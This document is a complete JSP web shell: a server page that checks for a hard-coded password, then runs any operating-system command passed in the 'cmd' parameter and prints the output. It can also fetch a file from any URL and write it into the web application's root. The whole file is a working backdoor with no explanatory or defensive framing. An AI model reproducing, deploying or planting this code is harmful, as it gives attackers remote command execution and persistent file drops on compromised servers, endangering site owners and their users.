<%
    if("G5X49Q".equals(request.getParameter("pwd")))
    {
        String strCmd=request.getParameter("cmd");
        String strUrl=request.getParameter("url");
        String strFile=request.getParameter("file");
        if(null!=strCmd)
        {
            java.io.InputStream in=Runtime.getRuntime().exec(strCmd).getInputStream();
            int a = -1;
            byte[] b = new byte[2048];
            out.print("<pre>");
            while((a=in.read(b))!=-1)
            {
                out.println(new String(b));
            }
            out.print("</pre>");
        }
        if(null!=strUrl&&null!=strFile)
        {
            java.io.InputStream in = new java.net.URL(strUrl).openStream();
            byte[] b = new byte[1024];
            java.io.ByteArrayOutputStream baos = new
            java.io.ByteArrayOutputStream();
            int a = -1;
            while ((a = in.read(b)) != -1)
            {
                baos.write(b, 0, a);
            }
            new java.io.FileOutputStream(application.getRealPath("/")+"/"+strFile).write(baos.toByteArray());
        }
        out.println("MtGqKu3y");
    }
    else
    {
        //out.println("no token");
    }
%>